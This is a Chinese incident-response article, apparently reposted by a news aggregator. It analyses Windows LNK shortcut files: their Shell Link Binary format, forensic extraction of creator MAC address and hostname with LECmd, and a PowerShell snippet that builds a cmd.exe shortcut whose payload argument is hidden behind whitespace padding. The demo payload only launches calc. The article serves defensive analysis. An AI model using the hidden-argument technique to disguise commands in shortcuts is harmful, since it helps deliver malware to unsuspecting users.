huasec 前天 18:26
应急响应之Lnk文件分析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入探讨了Windows系统中LNK快捷方式文件的安全风险。LNK文件,即快捷方式文件,因其易伪装的特性,常被恶意分子利用。文章详细介绍了LNK文件的Shell Link Binary文件格式,分析了如何通过检测LNK文件中的关键信息来识别恶意行为,并提供了构造恶意LNK文件的实例,以帮助读者理解LNK文件在安全领域中的应用。

📌 LNK文件是Windows系统的快捷方式,以".lnk"为扩展名,用于指向可执行文件或应用程序。由于其可以伪装成普通文件,容易被恶意软件利用。

💡 Shell Link Binary是LNK文件的核心,包含访问目标文件的关键信息,由SHELL_LINK_HEADER、LINKTARGET_IDLIST、LinkInfo、StringData和ExtraData五部分组成。其中LinkFlags用于标识其他可选标头(结构)的存在,例如HasLinkTargetIDList属性。

🔍 通过分析LNK文件中的关键信息,可以检测恶意行为。例如,ExtraData中的TrackerDataBlock可以提供攻击者机器的物理信息,如MAC地址、主机名等,这对于溯源和提取同源样本至关重要。

🔨 恶意LNK文件通常利用命令行实现恶意操作。攻击者可以通过修改LNK文件的命令行参数,如隐藏payload,从而执行恶意代码,例如启动计算器或执行其他恶意操作。

原创 花十一一 2021-08-23 09:01

 

LNKMicrosoftWindows用于指向可执行文件或应用程序的快捷方式文件的扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。“LNK”是“Link”的缩写,“.lnk”后缀即使勾选显示已知后缀名也会自动隐藏,而且该文件可以通过更改图标来伪装成合法文档。本文介绍LNK文件的Shell LinkBinary文件格式,并分析如何检测恶意的快捷方式 (LNK)


01


Shell Link Binary


Shell Link Binary包含用于访问另一个数据对象的信息,文件扩展名为“.LNK”。目的是通过另一个对象访问数据对象,其存储了对目标数据对象的某种形式的引用。Shell link Binary由以下五部分组成:


SHELL_LINK_HEADER包含有关目标文件的关键信息、与该文件相关的属性以及其他结构,例如LinkFlags,用于标识其他可选标头(结构)的存在。例如,要使 LINKTARGET_IDLIST 结构存在,必须在LinkFlags 子结构中设置HasLinkTargetIDList属性。

LINKTARGET_IDLIST,如果在LinkFlags下设置HasLinkTargetIDListLINKTARGET_IDLIST存储对文件系统上目标位置的引用,但该引用不是文件绝对路径(C:\test\1.txt),相反使用的是Windows Shell NameSpace,通过IShellFolder接口定位文件夹,每个文件夹或者文件都维护自己的ItemIDList,里面记录了它们的所有属性,比如文件名、类型、大小、修改时间。该IDList进一步封装在LinkTargetIdList结构中。

LinkInfo,如果在LinkFlags结构体中设置了HasLinkInfo,则会填充LinkInfo结构体,包含用于解析链接目标和标识其位置的信息,例如驱动器卷、序列号、标签和本地路径。


StringData,StringData部分主要由ShellLinkHeader中的LinkFlags结构控制,例如如果在LinkFlags中设置了HasWorkingDirHasRelativePath属性,就能够在这个结构中看到链接目标的工作目录和相对路径。另一个重要的属性是HasArguments,它指定要执行链接的命令行参数。


ExtraData包含关于Lnk文件的所有补充信息。例如:


EnvironmentVariableDataBlock结构体可以查看Lnk文件的环境变量,

TrackerDataBlock可以帮助识别目标文件是否被复制或移动,还可以返回目标最后存在的MachineID(NetBIOS名称)MAC地址等信息。

更多信息参见

https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-shllink/747629b3-b5be-452a-8101-b9a2ec49978c


02



LEcmd


下载地址:https://github.com/EricZimmerman/LECmd

使用方法:

    >LECmd.exe -f"C:\Users\Public\Desktop\Wireshark.lnk"

    字段介绍:

    Tracker database block 包含了攻击者机器的物理信息:

      Machine ID: desktop-0u9o925

      MAC Address: 00:0c:29:0d:92:4b

      MAC Vendor: VMWARE

      Creation: 2021-01-28 03:28:55

    针对恶意的LNK类型文件,可以给我们提供LNK滥用方式,创建LNK的主机信息(如MAC,磁盘串号,主机名)等信息,这些信息对于样本溯源和提取同源样本来说十分有用。



    03



    构造恶意Lnk文件分析



    一般情况下,攻击者会使用Lnk文件的命令行来实现一些恶意操作,例如:点击Lnk文件打开计算器

      $file = Get-Content "C:\Users\admin\Desktop\test.txt"$blank_space = '      '$WshShell = New-Object -comObject WScript.Shell$Shortcut = $WshShell.CreateShortcut("C:\Users\admin\Desktop\test.lnk")$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,22"$Shortcut.Arguments = $blank_space + $file$Shortcut.Save()

      注:通过修改$blank_space的空格数量可以实现隐藏payload参数

      C:\Users\admin\Desktop\test.txt文件中写入/c start calc.exe

      执行命令后生成的test.lnk文件格式如图,260个空格字符后面接着为payload代码

      查看文件参数,显示如图,均被空格字符填充,payload成功隐藏

      运行test.lnk,弹出计算器,payload成功执行。


      阅读原文

      跳转微信打开

      Fish AI Reader

      Fish AI Reader

      AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

      FishAI

      FishAI

      鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

      联系邮箱 441953276@qq.com

      相关标签

      LNK文件 快捷方式 安全分析 恶意代码
      相关文章